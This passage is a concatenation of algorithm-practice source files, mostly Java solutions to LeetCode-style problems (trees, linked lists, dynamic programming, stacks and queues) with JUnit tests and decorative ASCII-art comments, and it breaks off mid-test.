.-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class SortedListToBST { public class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } public class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } /** * Given a singly linked list where elements are sorted in ascending order, convert it to a height balanced BST. */ public TreeNode sortedListToBST(ListNode head) { if (head == null) { return null; } return toBST(head, null); } public TreeNode toBST(ListNode head, ListNode tail) { ListNode slow = head; ListNode fast = head; if (head == tail) { return null; } while(fast != tail && fast.next != tail) { fast = fast.next.next; slow = slow.next; } TreeNode thead = new TreeNode(slow.val); thead.left = toBST(head, slow); thead.right = toBST(slow.next, tail); return thead; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 6/1/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class CountNodes { /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode(int x) { val = x; } * } */ /** * Given a complete binary tree, count the number of nodes. * * Definition of a complete binary tree from Wikipedia: * In a complete binary tree every level, except possibly the last, * is completely filled, and all nodes in the last level are as far left as possible. * It can have between 1 and 2h nodes inclusive at the last level h. * * @return */ public class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } public static int countNodes(TreeNode root) { int height = height(root); return height < 0 ? 0 : height(root.right) == height - 1 ? (1 << height) + countNodes(root.right) : (1 << height - 1) + countNodes(root.left); } private static int height(TreeNode root) { if (root == null) { return -1; } int height = 0; while (root != null) { height++; root = root.left; } return height; } public int countNodes70ms(TreeNode root) { int nodes = 0, h = height(root); while (root != null) { if (height(root.right) == h - 1) { nodes += 1 << h; root = root.right; } else { nodes += 1 << h - 1; root = root.left; } h--; } return nodes; } public int countNodes84ms(TreeNode root) { if (root == null) { return 0; } TreeNode left = root, right = root; int height = 0; while (right != null) { left = left.left; right = right.right; height++; } if (left == null) { return (1 << height) - 1; } return 1 + countNodes(root.left) + countNodes(root.right); } public int countNodes69ms(TreeNode root) { if (root == null) { return 0; } if (root.left == null) { return 1; } int height = 0; int nodesSum = 0; TreeNode curr = root; while (curr.left != null) { nodesSum += (1 << height); height++; curr = curr.left; } return nodesSum + countLastLevel(root, height); } private int countLastLevel(TreeNode root, int height) { if (height == 1) { if (root.right != null) { return 2; } else if (root.left != null) { return 1; } else { return 0; } } TreeNode midNode = root.left; int currHeight = 1; while (currHeight < height) { currHeight++; midNode = midNode.right; } if (midNode == null) { return countLastLevel(root.left, height - 1); } else { return (1 << (height - 1)) + countLastLevel(root.right, height - 1); } } } <file_sep>package com.example.stack_queue; import java.util.Stack; /** * Created by binea on 2016/11/9. */ public class MyQueue<T> { private Stack<T> newestStack; private Stack<T> oldestStack; public MyQueue() { newestStack = new Stack<>(); oldestStack = new Stack<>(); } public void add(T t) { newestStack.add(t); } public T peek() { shiftStacks(); return oldestStack.peek(); } public T remove() { shiftStacks(); return oldestStack.pop(); } private void shiftStacks() { if(oldestStack.isEmpty()) { while (!newestStack.isEmpty()) { oldestStack.add(newestStack.pop()); } } } public int size() { return newestStack.size() + oldestStack.size(); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; import java.util.HashMap; import java.util.Map; /** * Created by xubinggui on 7/14/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class ContainsDuplicateIII { /** * Given an array of integers, find out whether there are two distinct indices i and j in the array such that the difference between nums[i] and * nums[j] is at most t and the difference between i and j is at most k. */ public boolean containsNearbyAlmostDuplicate21ms(int[] nums, int k, int t) { if (k < 1 || t < 0) return false; Map<Long, Long> map = new HashMap<>(); for (int i = 0; i < nums.length; i++) { long remappedNum = (long) nums[i] - Integer.MIN_VALUE; long bucket = remappedNum / ((long) t + 1); if (map.containsKey(bucket) || (map.containsKey(bucket - 1) && remappedNum - map.get(bucket - 1) <= t) || (map.containsKey(bucket + 1) && map.get(bucket + 1) - remappedNum <= t)) return true; if (map.entrySet().size() >= k) { long lastBucket = ((long) nums[i - k] - Integer.MIN_VALUE) / ((long) t + 1); map.remove(lastBucket); } map.put(bucket, remappedNum); } return false; } } <file_sep>package com.binea.www.leetcodepractice.algorithm; /** * Created by xubinggui on 7/6/16. * // _ooOoo_ * // o8888888o * // 88" . "88 * // (| -_- |) * // O\ = /O * // ____/`---'\____ * // . ' \\| |// `. * // / \\||| : |||// \ * // / _||||| -:- |||||- \ * // | | \\\ - /// | | * // | \_| ''\---/'' | | * // \ .-\__ `-` ___/-. / * // ___`. .' /--.--\ `. . __ * // ."" '< `.___\_<|>_/___.' >'"". * // | | : `- \`.;`\ _ /`;.`/ - ` : | | * // \ \ `-. \_ __\ /__ _/ .-` / / * // ======`-.____`-.___\_____/___.-`____.-'====== * // `=---=' * // * // ............................................. * // 佛祖镇楼 BUG辟易 */ public class JumpGame { /** * Given an array of non-negative integers, you are initially positioned at the first index of * the array. * * Each element in the array represents your maximum jump length at that position. * * Determine if you are able to reach the last index. * * For example: * A = [2,3,1,1,4], return true. * * A = [3,2,1,0,4], return false. */ public static boolean canJump3ms(int[] nums) { int reachable = 0; for (int i=0; i<nums.length; ++i) { if (i > reachable) return false; reachable = Math.max(reachable, i + nums[i]); } return true; } } <file_sep>package com.example.stack_queue; /** * Created by binea on 2016/11/8. */ public class StackWithArray { class StackData { public int start; public int pointer; public int size; public int capacity; public StackData(int _start, int _capacity) { start = _start; capacity = _capacity; } public boolean isWithinStack(int index, int totalSize) { if (start <= index && index < start + capacity) { return true; } else if (start + capacity > totalSize && index < (start + capacity) % totalSize) { return true; } return false; } } private final int NUMBER_OF_STACKS = 3; private final int DEFAULT_SIZE = 4; private final int TOTAL_SIZE = NUMBER_OF_STACKS * DEFAULT_SIZE; private final StackData[] stacks = {new StackData(0, DEFAULT_SIZE), new StackData(DEFAULT_SIZE, DEFAULT_SIZE), new StackData(DEFAULT_SIZE * 2, DEFAULT_SIZE)}; private final int[] buffer = new int[TOTAL_SIZE]; public int numberOfElements() { return stacks[0].size + stacks[1].size + stacks[2].size; } public int nextElement(int index) { if(index + 1 == TOTAL_SIZE) { return 0; } return index + 1; } public int previousElement(int index) { if(index == 0) { return TOTAL_SIZE - 1; } return index - 1; } public void shift(int stackNum) { if(stackNum < 0 || stackNum > stacks.length) { return; } StackData stackData = stacks[stackNum]; if(stackData.size >= stackData.capacity) { int nextStack = (stackNum + 1) % NUMBER_OF_STACKS; shift(nextStack); stackData.capacity++; } for (int i = (stackData.start + stackData.capacity - 1) % TOTAL_SIZE; stackData.isWithinStack(i, TOTAL_SIZE); i = previousElement(i)) { buffer[i] = buffer[previousElement(i)]; } buffer[stackData.start] = 0; stackData.start = nextElement(stackData.start); stackData.pointer = nextElement(stackData.pointer); stackData.capacity--; } public void expand(int stackNum) { shift((stackNum + 1) % NUMBER_OF_STACKS); stacks[stackNum].capacity++; } public void push(int stackNum, int value) throws Exception{ StackData stackData = stacks[stackNum % NUMBER_OF_STACKS]; if(stackData.size >= stackData.capacity) { if(numberOfElements() >= TOTAL_SIZE) { throw new Exception("Out of space"); }else { expand(stackNum); } } stackData.size++; stackData.pointer = nextElement(stackData.pointer); buffer[stackData.pointer] = value; } public int pop(int stackNum) throws Exception { StackData stackDatas = stacks[stackNum % NUMBER_OF_STACKS]; if(stackDatas.size == 0) { throw new Exception("Trying to pop an empty stack"); } int value = buffer[stackDatas.pointer]; buffer[stackDatas.pointer] = 0; stackDatas.pointer = previousElement(stackNum); stackDatas.size--; return value; } public int peek(int stackNum) { StackData stackData = stacks[stackNum % TOTAL_SIZE]; return buffer[stackData.pointer]; } public boolean isEmpty(int stackNum) { return stacks[stackNum % TOTAL_SIZE].size == 0; } } <file_sep>class Solution(): def __init__(self): self.mPreNode = None def flatten(root): if not root: return flatten(root.right) flatten(root.left) root.right = self.mPreNode root.left = None self.mPreNode = root <file_sep>package com.binea.www.leetcodepractice.algorithm; // Created by xubinggui on 11/01/2017. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 // Created by binea on 3/13/17. import java.util.Arrays; public class EditDistance { /** * Given two words word1 and word2, find the minimum number of steps required to convert word1 to word2. (each operation is counted as 1 step.) * <p> * You have the following 3 operations permitted on a word: * <p> * a) Insert a character * b) Delete a character * c) Replace a character * * @param word1 * @param word2 * @return */ public int minDistance_12ms(String word1, String word2) { int[] prev = new int[word2.length() + 1]; int[] curr = new int[word2.length() + 1]; for (int i = 1; i <= word2.length(); i++) { prev[i] = i; } for (int i = 1; i <= word1.length(); i++) { curr[0] = i; for (int j = 1; j <= word2.length(); j++) { if (word1.charAt(i - 1) == word2.charAt(j - 1)) { curr[j] = prev[j - 1]; } else { curr[j] = 1 + Math.min(prev[j - 1], Math.min(curr[j - 1], prev[j])); } } prev = Arrays.copyOf(curr, curr.length); } return prev[word2.length()]; } public int minDistance_10ms(String word1, String word2) { if (word1.length() == 0) { return word2.length(); } if (word2.length() == 0) { return word1.length(); } int l1 = word1.length(); int l2 = word2.length(); int[] minDist = new int[l2 + 1]; for (int j = 0; j <= l2; j++) { minDist[j] = j; } char[] chs1 = word1.toCharArray(); char[] chs2 = word2.toCharArray(); int prev;//store minDist[i - 1][j -1] for (int i = 1; i <= l1; i++) { minDist[0] = i - 1; prev = minDist[0]; for (int j = 1; j <= l2; j++) { int temp = minDist[j]; if (chs1[i - 1] == chs2[j - 1]) { minDist[j] = prev; } else { minDist[j] = Math.min(minDist[j], Math.min(prev, minDist[j - 1])) + 1; } prev = temp; } } return minDist[l2]; } public int minDistance_8ms(String word1, String word2) { if (word1 == null || word1.length() == 0) return word2.length(); char[] w1 = word1.toCharArray(); char[] w2 = word2.toCharArray(); int dp[][] = new int[word1.length() + 1][word2.length() + 1]; return minDist(w1, w2, dp, word1.length(), word2.length()); } public int minDist(char[] w1, char[] w2, int[][] dp, int m, int n) { if (m == 0) return n; if (n == 0) return m; if (dp[m][n] != 0) return dp[m][n]; if (w1[m - 1] == w2[n - 1]) return dp[m][n] = minDist(w1, w2, dp, m - 1, n - 1); return dp[m][n] = 1 + Math.min(minDist(w1, w2, dp, m, n - 1), Math.min(minDist(w1, w2, dp, m - 1, n), minDist(w1, w2, dp, m - 1, n - 1))); } } <file_sep>import com.example.LongestIncreasingArray; import org.junit.Test; import java.util.Random; /** * Created by binea on 8/9/2017. */ public class UnitTest { @Test public void testGetLongestSubArray() { int[] array = {10, 1, 3, 2, 5, 7, 8, 9, 6, 4}; LongestIncreasingArray longestIncreasingArray = new LongestIncreasingArray(); int[] result = longestIncreasingArray.getLongestIncreasingArrayDp(array); for (int i : result) { System.out.print(i); } } } <file_sep>package com.example.dp; /** * Created by binea on 2016/10/23. */ public class LongestPalindromeSubSequence { /** * 对于任意字符串,如果头尾字符相同,那么字符串的最长子序列等于去掉首尾的字符串的最长子序列加上首尾;如果首尾字符不同,则最长子序列等于去掉头的字符串的最长子序列和去掉尾的字符串的最长子序列的较大者。 * * 因此动态规划的状态转移方程为: * * 设字符串为str,长度为n,p[i][j]表示第i到第j个字符间的子序列的个数(i<=j),则: * * 状态初始条件:dp[i][i]=1 (i=0:n-1) * * 状态转移方程:dp[i][j]=dp[i+1][j-1] + 2 if(str[i]==str[j]) * * dp[i][j]=max(dp[i+1][j],dp[i][j-1]) if (str[i]!=str[j]) */ public int longestPalindromSubSequence(String input) { int n = input.length(); int[][] dp = new int[n][n]; for (int i = n - 1; i >= 0; i--) { dp[i][i] = 1; for (int j = i + 1; j < n; j++) { if (input.charAt(i) == input.charAt(j)) { dp[i][j] = dp[i + 1][j - 1] + 2; } else { dp[i][j] = Math.max(dp[i + 1][j], dp[i][j - 1]); } } } return dp[0][input.length() - 1]; } // Transform S into T. // For example, S = "abba", T = "^#a#b#b#a#$". // ^ and $ signs are sentinels appended to each end to avoid bounds checking String preProcess(String s) { int n = s.length(); if (n == 0) return "^$"; String ret = "^"; for (int i = 0; i < n; i++) ret += "#" + s.substring(i, 1); ret += "#$"; return ret; } public String longestPalindrome(String s) { String T = preProcess(s); int n = T.length(); int[][] a = new int[n][n]; int mid = 0, R = 0; for (int i = 1; i < n - 1; i++) { int j = 2 * mid - i; // 找到i关于mid对称的位置 int tmp = a[j][0]; a[i][0] = (R > i) ? Math.min(R - i, tmp) : 0; // Attempt to expand palindrome centered at i while (T.charAt(i + 1 + a[i][0]) == T.charAt(i - 1 - a[i][0])) a[i][0]++; // If palindrome centered at i expand past R, // adjust center based on expanded palindrome. if (i + a[i][0] > R) { mid = i; R = i + a[i][0]; } } // Find the maximum element in a. int maxLen = 0; int centerIndex = 0; for (int i = 1; i < n - 1; i++) { if (a[i][0] > maxLen) { maxLen = a[i][0]; centerIndex = i; } } return s.substring((centerIndex - 1 - maxLen) / 2, maxLen); } } <file_sep>package com.example.list; // Created by xubinggui on 06/11/2016. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 import java.util.HashMap; public class ListSubject { class Node { int data; Node next; public Node(int d) { data = d; } void addToTail(int d) { Node node = new Node(d); Node current = this; while (current.next != null) { current = current.next; } current.next = node; } } public void removeDuplicateNode(Node root) { if (root == null) { return; } HashMap<Integer, Node> nodeHashMap = new HashMap<>(); Node current = root; Node preNode = root; while (current != null) { if (!nodeHashMap.containsKey(current.data)) { nodeHashMap.put(root.data, current); preNode = current; } else { preNode.next = current.next; } current = current.next; } } public boolean deleteNode(Node node) { if (node == null || node.next == null) { return false; } Node next = node.next; node.data = next.data; node.next = next.next; return true; } public Node splitList(Node node, int x) { if (node == null) { return null; } Node beforeStart = null; Node beforeEnd = null; Node afterStart = null; Node afterEnd = null; while (node != null) { Node next = node.next; node.next = null; if (node.data < x) { if (beforeStart == null) { beforeStart = node; beforeEnd = beforeStart; } else { beforeEnd.next = node; beforeEnd = node; } } else { if (afterStart == null) { afterStart = node; afterEnd = afterStart; } else { afterEnd.next = node; afterEnd = node; } } node = next; } if (beforeStart == null) { return afterStart; } beforeEnd.next = afterStart; return beforeStart; } class NodeIndex { public int index; public NodeIndex(int index, Node node) { this.index = index; } } public Node findLastKNode(Node root, int k, NodeIndex nodeIndex) { if (root == null) { return null; } Node node = findLastKNode(root.next, k, nodeIndex); nodeIndex.index++; if (nodeIndex.index == k) { return root; } return node; } public Node findLstKNode(Node root, int k) { if (root == null) { return null; } Node p1 = root; Node p2 = root; for (int i = 0; i < k - 1; i++) { p2 = p2.next; } while (p2.next != null) { p2 = p2.next; p1 = p1.next; } return p1; } public Node sumNode(Node node1, Node node2, int carry) { if (node1 == null && node2 == null && carry == 0) { return null; } Node result = new Node(0); int value = carry; if (node1 != null) { value += node1.data; } if (node2 != null) { value += node2.data; } result.data = value % 10; result.next = sumNode(node1 == null ? null : node1.next, node2 == null ? null : node2.next, value > 9 ? 1 : 0); return result; } public Node findBeginning(Node head) { Node slow = head; Node fast = head; while (fast != null && fast.next != null) { slow = slow.next; fast = fast.next.next; if (slow == fast) { break; } } if (fast == null || fast.next == null) { return null; } slow = head; while (slow != fast) { slow = slow.next; fast = fast.next; } return fast; } class Result { Node node; boolean result; public Result(Node node, boolean result) { this.node = node; this.result = result; } } public Result isPalindromeRecurse(Node head, int length) { if(head == null || length == 0) { return new Result(null, true); } if(length == 1) { return new Result(head.next, true); } if(length == 2) { return new Result(head.next.next, head.data == head.next.data); } Result result = isPalindromeRecurse(head.next, length -1); if(!result.result || result.node == null) { return result; } result.result = head.data == result.node.data; result.node = result.node.next; return result; } } <file_sep>package com.binea.www.leetcodepractice.algorithm.easy; /** * Created by binea on 27/9/2017. */ public class HouseRobber { /** * You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed, * the only constraint stopping you from robbing each of them is that adjacent houses have security system connected and * it will automatically contact the police if two adjacent houses were broken into on the same night. * <p> * Given a list of non-negative integers representing the amount of money of each house, determine the maximum amount of money you can * rob tonight without alerting the police. * * @param nums * @return */ public int robDp(int[] nums) { int[][] dp = new int[nums.length + 1][2]; for (int i = 1; i <= nums.length; i++) { dp[i][0] = Math.max(dp[i - 1][0], dp[i - 1][1]); dp[i][1] = nums[i - 1] + dp[i - 1][0]; } return Math.max(dp[nums.length][0], dp[nums.length][1]); } public int rob(int[] nums) { int preNo = 0; int preYes = 0; for (int i : nums) { int tmp = preNo; preNo = Math.max(preNo, preYes); preYes = i + tmp; } return Math.max(preNo, preYes); } } <file_sep>package com.binea.www.leetcodepractice.algorithm; import java.util.Arrays; // Created by xubinggui on 9/6/16. // _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 public class NumDecodings { /** * A message containing letters from A-Z is being encoded to numbers using the following mapping: * * 'A' -> 1 * 'B' -> 2 * ... * 'Z' -> 26 * Given an encoded message containing digits, determine the total number of ways to decode it. * * For example, * Given encoded message "12", it could be decoded as "AB" (1 2) or "L" (12). * * The number of ways decoding "12" is 2. */ public int numDecodings(String s) { if (s == null || s.length() <= 0) { return 0; } int one = 0, two = 0; int[] book = new int[s.length() + 1]; Arrays.fill(book, 0); book[0] = 1; book[1] = (s.charAt(0) >= '1' && s.charAt(0) <= '9') ? 1 : 0; for (int i = 1; i < s.length(); i++) { one = (s.charAt(i) - '0'); two = (s.charAt(i - 1) - '0') * 10 + (s.charAt(i) - '0'); if (one >= 1 && one <= 9) { book[i + 1] += book[i]; } if (two >= 10 && two <= 26) { book[i + 1] += book[i - 1]; } } return book[book.length - 1]; } } <file_sep>package com.binea.www.leetcodepractice; import com.binea.www.leetcodepractice.algorithm.AddBinary; import com.binea.www.leetcodepractice.algorithm.BestTimeToBuyAndSellStockII; import com.binea.www.leetcodepractice.algorithm.CountAndSay; import com.binea.www.leetcodepractice.algorithm.EliminationGame; import com.binea.www.leetcodepractice.algorithm.EvalRPN; import com.binea.www.leetcodepractice.algorithm.FindMinimumInRotatedSortedArrayII; import com.binea.www.leetcodepractice.algorithm.FirstMissingPositive; import com.binea.www.leetcodepractice.algorithm.JumpGame; import com.binea.www.leetcodepractice.algorithm.KSmallestPairs; import com.binea.www.leetcodepractice.algorithm.LexicographicalNumbers; import com.binea.www.leetcodepractice.algorithm.ListNode; import com.binea.www.leetcodepractice.algorithm.LongestSubString; import com.binea.www.leetcodepractice.algorithm.MaxSumOfRectangeNoLargerThanK; import com.binea.www.leetcodepractice.algorithm.MaximumProductofWordLengths; import com.binea.www.leetcodepractice.algorithm.MinStack; import com.binea.www.leetcodepractice.algorithm.MinSubArrayLen; import com.binea.www.leetcodepractice.algorithm.MinimumWindowSubstring; import com.binea.www.leetcodepractice.algorithm.MissingNumber; import com.binea.www.leetcodepractice.algorithm.MoveZeros; import com.binea.www.leetcodepractice.algorithm.PascalTriangle; import com.binea.www.leetcodepractice.algorithm.RepeatedSubstringPattern; import com.binea.www.leetcodepractice.algorithm.ReverseInteger; import com.binea.www.leetcodepractice.algorithm.ReverseWords; import com.binea.www.leetcodepractice.algorithm.SearchInsertPosition; import com.binea.www.leetcodepractice.algorithm.SingleNumber; import com.binea.www.leetcodepractice.algorithm.SingleNumberII; import com.binea.www.leetcodepractice.algorithm.SortColors; import com.binea.www.leetcodepractice.algorithm.TopKFrequent; import com.binea.www.leetcodepractice.algorithm.TwoSum; import com.binea.www.leetcodepractice.algorithm.WordBreak; import com.binea.www.leetcodepractice.algorithm.WordSearch; import com.binea.www.leetcodepractice.algorithm.ZigZagConversion; import com.binea.www.leetcodepractice.algorithm.easy.AddDigits; import com.binea.www.leetcodepractice.algorithm.easy.BestTimetoBuyandSellStock; import com.binea.www.leetcodepractice.algorithm.easy.DeleteNodeInALinkedList; import com.binea.www.leetcodepractice.algorithm.easy.ExcelSheetColumnTitle; import com.binea.www.leetcodepractice.algorithm.easy.FirstBadVersion; import com.binea.www.leetcodepractice.algorithm.easy.IntersectionofTwoArrays; import com.binea.www.leetcodepractice.algorithm.easy.MaxSubArray; import com.binea.www.leetcodepractice.algorithm.easy.NimGame; import com.binea.www.leetcodepractice.algorithm.easy.NonDecreasingArray; import com.binea.www.leetcodepractice.algorithm.easy.PalindromeLinkedList; import com.binea.www.leetcodepractice.algorithm.easy.PalindromeNumber; import com.binea.www.leetcodepractice.algorithm.easy.PascalsTriangleII; import com.binea.www.leetcodepractice.algorithm.easy.PlusOne; import com.binea.www.leetcodepractice.algorithm.easy.PowerOfTwo; import com.binea.www.leetcodepractice.algorithm.easy.RangeSumQueryImmutable; import com.binea.www.leetcodepractice.algorithm.easy.RemoveDuplicatesFromSortedArray; import com.binea.www.leetcodepractice.algorithm.easy.ReverseBits; import com.binea.www.leetcodepractice.algorithm.easy.ReverseString; import com.binea.www.leetcodepractice.algorithm.easy.ReverseVowelsOfAString; import com.binea.www.leetcodepractice.algorithm.easy.RotateArray; import com.binea.www.leetcodepractice.algorithm.easy.Sqrt; import com.binea.www.leetcodepractice.algorithm.easy.StrStr; import com.binea.www.leetcodepractice.algorithm.easy.TwoSumII; import com.binea.www.leetcodepractice.algorithm.easy.UglyNumber; import com.binea.www.leetcodepractice.algorithm.easy.ValidAnagram; import com.binea.www.leetcodepractice.algorithm.easy.ValidParentheses; import com.binea.www.leetcodepractice.algorithm.easy.WordPattern; import com.binea.www.leetcodepractice.algorithm.hard.MedianOfTwoSortedArrays; import org.junit.Assert; import org.junit.Test; import java.util.Arrays; import java.util.LinkedList; import java.util.List; /** * To work on unit tests, switch the Test Artifact in the Build Variants view. */ public class UnitTest { @Test public void testTwoSum() { int[] numbers = {2, 7, 11, 15}; TwoSum twoSum = new TwoSum(); final int[] ints = twoSum.twoSum(numbers, 13); for (int i = 0; i < ints.length; i++) { System.out.print(ints[i] + " "); } } @Test public void testLongestSubString() { String s = "abcabcabd"; LongestSubString lss = new LongestSubString(); System.out.print(lss.lengthOfLongestSubstring(s)); } @Test public void testTopKFrequent() { int[] nums = {1, 1, 1, 2, 2, 3}; int k = 2; List<Integer> results = TopKFrequent.topKFrequent(nums, k); System.out.print(results.toString()); } @Test public void testMaxProfit() { int[] prices = {100, 200, 150, 180, 300}; int profit = BestTimeToBuyAndSellStockII.maxProfit(prices); System.out.print(profit); } @Test public void testCountAndSay() { int nums = 20; String result = CountAndSay.countAndSay(nums); System.out.print(result); } @Test public void testFirstMissingPositive() { int[] nums = {3, 4, -1, 1}; //int[] nums = {1,2,0}; //int[] nums = {2}; int value = FirstMissingPositive.firstMissingPositive(nums); System.out.print(value); } @Test public void testReverseInteger() { int value = -123; int result = ReverseInteger.reverse(value); System.out.print(result); } @Test public void testMinSubArrayLen() { int[] nums = {2, 3, 1, 2, 4, 3}; int len = MinSubArrayLen.minSubArrayLen(7, nums); System.out.print(len); } @Test public void testZigZagConversion() { String text = "PAYPALISHIRING"; String result = ZigZagConversion.convert14ms(text, 3); System.out.print(result); } @Test public void testReverseWords() { //String text = "the sky is blue"; String text = " a b "; String result = ReverseWords.reverseWords14ms(text); System.out.print(result); } @Test public void testMissingNumber() { int[] a = {0, 1, 3}; int result = MissingNumber.missingNumber(a); System.out.print(result); } @Test public void testMinStack() { MinStack minStack = new MinStack(); minStack.push(-2); minStack.push(0); minStack.push(-3); System.out.println("minValue " + minStack.getMin()); minStack.pop(); System.out.println("topValue " + minStack.top()); System.out.println("minValue " + minStack.getMin()); } @Test public void testAddBinary() { String a = "10100000100100110110010000010101111011011001101110111111111101000000101111001110001111100001101", b = "1"; final String sum = AddBinary.addBinary3ms(a, b); System.out.print(sum); } @Test public void testJumpGame() { int[] A = {2, 3, 1, 1, 4}; final boolean canJump = JumpGame.canJump3ms(A); System.out.print(canJump); } @Test public void testWaterAndJug() { int x = 2, y = 6, z = 5; } @Test public void testEvalRPN() { //String []strs = {"2", "1", "+", "3", "*"}; String[] strs = {"4", "13", "5", "/", "+"}; EvalRPN evalRPN = new EvalRPN(); int result = evalRPN.evalRPN(strs); System.out.print(result); } @Test public void testPascalTriangle() { PascalTriangle pascalTriangle = new PascalTriangle(); pascalTriangle.generate(5); } @Test public void testLexicographicalNumbers() { LexicographicalNumbers lexicographicalNumbers = new LexicographicalNumbers(); List<Integer> result = lexicographicalNumbers.lexicalOrder(13); for (Integer i : result) { System.out.printf("%d ", i); } } @Test public void testSearchInsertPosition() { SearchInsertPosition searchInsertPosition = new SearchInsertPosition(); int[] nums = {1, 3, 5, 6}; int pos = searchInsertPosition.searchInsert(nums, 0); System.out.print(pos); } @Test public void testKSmallestPairs() { int[] nums1 = {1, 7, 11}; int[] nums2 = {2, 4, 6}; int k = 3; KSmallestPairs kSmallestPairs = new KSmallestPairs(); final List<int[]> result = kSmallestPairs.kSmallestPairs(nums1, nums2, 3); } @Test public void testSingleNumbersII() { int[] nums = {1, 2, 1, 1}; SingleNumberII singleNumberII = new SingleNumberII(); int result = singleNumberII.singleNumber(nums); System.out.print(result); } @Test public void testSortColors() { SortColors sortColors = new SortColors(); int[] nums = {1, 0, 2, 1, 2, 0, 1, 0, 1, 2}; sortColors.sortColors(nums); } @Test public void testMoveZeros() { MoveZeros moveZeros = new MoveZeros(); int[] nums = {0, 1, 0, 3, 12}; moveZeros.moveZeros(nums); for (int i : nums) { System.out.print(i + ", "); } } @Test public void testRepeatedSubstringPattern() { String input = "a"; RepeatedSubstringPattern repeatedSubstringPattern = new RepeatedSubstringPattern(); repeatedSubstringPattern.repeatedSubstringPattern(input); } @Test public void testWordSearch() { char[][] board = { {'A', 'B', 'C', 'E'}, {'S', 'F', 'C', 'S'}, {'A', 'D', 'E', 'E'} }; String s = "ABCCED"; WordSearch wordSearch = new WordSearch(); wordSearch.exist11ms(board, s); } @Test public void testMaxProductOfWordLengths() { String[] strs = new String[]{ "abcw", "baz", "foo", "bar", "xtfn", "abcdef" }; Assert.assertEquals(16, MaximumProductofWordLengths.maxProduct(strs)); } @Test public void testEliminationGame() { EliminationGame eliminationGame = new EliminationGame(); System.out.println(eliminationGame.lastRemaining(9)); } @Test public void testWordBreak() { WordBreak wordBreak = new WordBreak(); String s = "leetcode"; List<String> dict = Arrays.asList("leet", "code"); System.out.println(wordBreak.wordBreak(s, dict)); } @Test public void testMinimumWindowSubstring() { String s = "ADOBECODEBANC"; String t = "ABC"; long startTime = System.currentTimeMillis(); MinimumWindowSubstring minimumWindowSubstring = new MinimumWindowSubstring(); minimumWindowSubstring.minWindow(s, t); long endTime = System.currentTimeMillis(); System.out.printf("run time: %d", endTime - startTime); System.out.println(); System.out.println(minimumWindowSubstring.minWindow(s, t)); } @Test public void testFindMinInRotatedSortedArrayII() { int[] nums = {4, 5, 6, 7, 0, 1, 2}; FindMinimumInRotatedSortedArrayII minimumInRotatedSortedArrayII = new FindMinimumInRotatedSortedArrayII(); int minNum = minimumInRotatedSortedArrayII.findMin(nums); System.out.print(minNum); } @Test public void testMaxSumOfRectangleNoLargerThanK() { MaxSumOfRectangeNoLargerThanK mso = new MaxSumOfRectangeNoLargerThanK(); int[][] matrix = { {1, 0, 1}, {0, -2, 3} }; long start = System.currentTimeMillis(); int result = mso.maxSumSubmatrix(matrix, 2); long end = System.currentTimeMillis(); System.out.println(result); System.out.printf("%d ms", end - start); } @Test public void testInteger() { int a = 1000; Integer b = 